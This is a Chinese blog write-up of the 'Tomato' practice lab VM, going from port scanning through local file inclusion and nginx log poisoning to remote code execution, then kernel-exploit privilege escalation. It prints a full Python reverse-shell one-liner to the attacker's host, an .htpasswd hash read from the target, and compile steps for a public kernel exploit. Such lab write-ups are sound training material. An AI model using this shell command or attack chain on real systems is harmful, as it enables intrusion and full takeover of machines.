当前位置: 首页 > news >正文

21、Tomato

难度 低(个人认为中)

目标 root权限 + 一个flag

使用VMware启动

kali 192.168.152.56 靶机 192.168.152.66

信息收集

端口信息收集

可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务

web测试

80端口显示一个tomato

查看源码给了一些提示

先上dirseardh扫一遍

然后用gobuster的中等字典扫了一下也没有结果

8888端口需要密码登录

可能和前面给的一些提示有关

然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果

可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西

看wp用dirb的可以跑出一个目录出来

以后打靶场没思路的时候把所有扫描工具全部上一遍。。。

用的这个的字典/usr/share/dirb/wordlists/common.txt。。。

进去可以看到一些源码内容

把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了

看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的

突破边界

我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点

看了wp看info.php的源码。。。

做这种题只想暴打出题人,到底是在打靶场还是打ctf

看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议

通过信息可以看到这个tomato用户存在

然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件

但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含

那么是否可以尝试包含session文件或者日志文件

经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下

/var/log/nginx/access.log

并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA

可以看到记录也出现了

那么我们写一段php代码进去然后包含这个日志文件看执不执行

可以看到成功的执行了

那么可以直接写反弹shell的命令进行shell的反弹了

但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码

ngnix:$apr1$azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧

换了个文件成功的包含了

/var/log/nginx/error.log

这个文件会包含所有登录失败的请求路径和host,那么这里修改host

成功的回显了数据

能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到shell发现是www的权限

因为是直接使用python的pty反弹的所以已经是比较高级的shell了

提权

然后先上个信息收集的脚本linpeas.sh

一上来就是爆红

小于4.6的内核都可以考虑脏牛提权CVE-2016-5195

尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了

然后去找其他的利用方式

发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

然后使用dpkg -x解压

这里不用脏牛了用上面检测出的第二个

把这个c文件cp到当前目录

gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6

然后上传上去赋予权限成功的提权

拿到flag

这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 上半年亏损扩大/百亿资产重组终止,路畅科技如何“脱困”?
  • Cassandra 5.0 Spring Boot 3.3 CRUD
  • 计算机网络:物理层 --- 基本概念、编码与调制
  • MySQL基础篇(黑马程序员2022-01-18)
  • 基于深度学习的能源消耗预测
  • css文本修饰
  • 二.Oracle每周运维操作
  • C一语言—动态内存管理
  • C++——用选择法对10个数值进行排序。
  • 国标视频流媒体服务GB28181和Ehome等多协议接入的Liveweb方案详解
  • IPv6(五)
  • 【白皮书下载】分布式功能安全的创新与突破
  • 自监督的主要学习方法
  • React学习day08-useReducer、useMemo、memo、useCallback、forwardRef、useInperativeHandle
  • C++进阶|多态知识点详解及经典面试题总结
  • (三)从jvm层面了解线程的启动和停止
  • 【编码】-360实习笔试编程题(二)-2016.03.29
  • CODING 缺陷管理功能正式开始公测
  • create-react-app项目添加less配置
  • Cumulo 的 ClojureScript 模块已经成型
  • golang中接口赋值与方法集
  • JS笔记四:作用域、变量(函数)提升
  • mongodb--安装和初步使用教程
  • MySQL用户中的%到底包不包括localhost?
  • nfs客户端进程变D,延伸linux的lock
  • 关于Java中分层中遇到的一些问题
  • 开源地图数据可视化库——mapnik
  • 前端设计模式
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 新版博客前端前瞻
  • 学习HTTP相关知识笔记
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • ​ubuntu下安装kvm虚拟机
  • #define、const、typedef的差别
  • #if和#ifdef区别
  • #Linux杂记--将Python3的源码编译为.so文件方法与Linux环境下的交叉编译方法
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (3) cmake编译多个cpp文件
  • (4)Elastix图像配准:3D图像
  • (C语言)求出1,2,5三个数不同个数组合为100的组合个数
  • (k8s)kubernetes集群基于Containerd部署
  • (Windows环境)FFMPEG编译,包含编译x264以及x265
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (三维重建学习)已有位姿放入colmap和3D Gaussian Splatting训练
  • (十七)Flink 容错机制
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • (转)为C# Windows服务添加安装程序
  • (转载)虚函数剖析
  • ***详解账号泄露:全球约1亿用户已泄露
  • .net 按比例显示图片的缩略图
  • .NET/MSBuild 中的发布路径在哪里呢?如何在扩展编译的时候修改发布路径中的文件呢?
  • .netcore 如何获取系统中所有session_如何把百度推广中获取的线索(基木鱼,电话,百度商桥等)同步到企业微信或者企业CRM等企业营销系统中...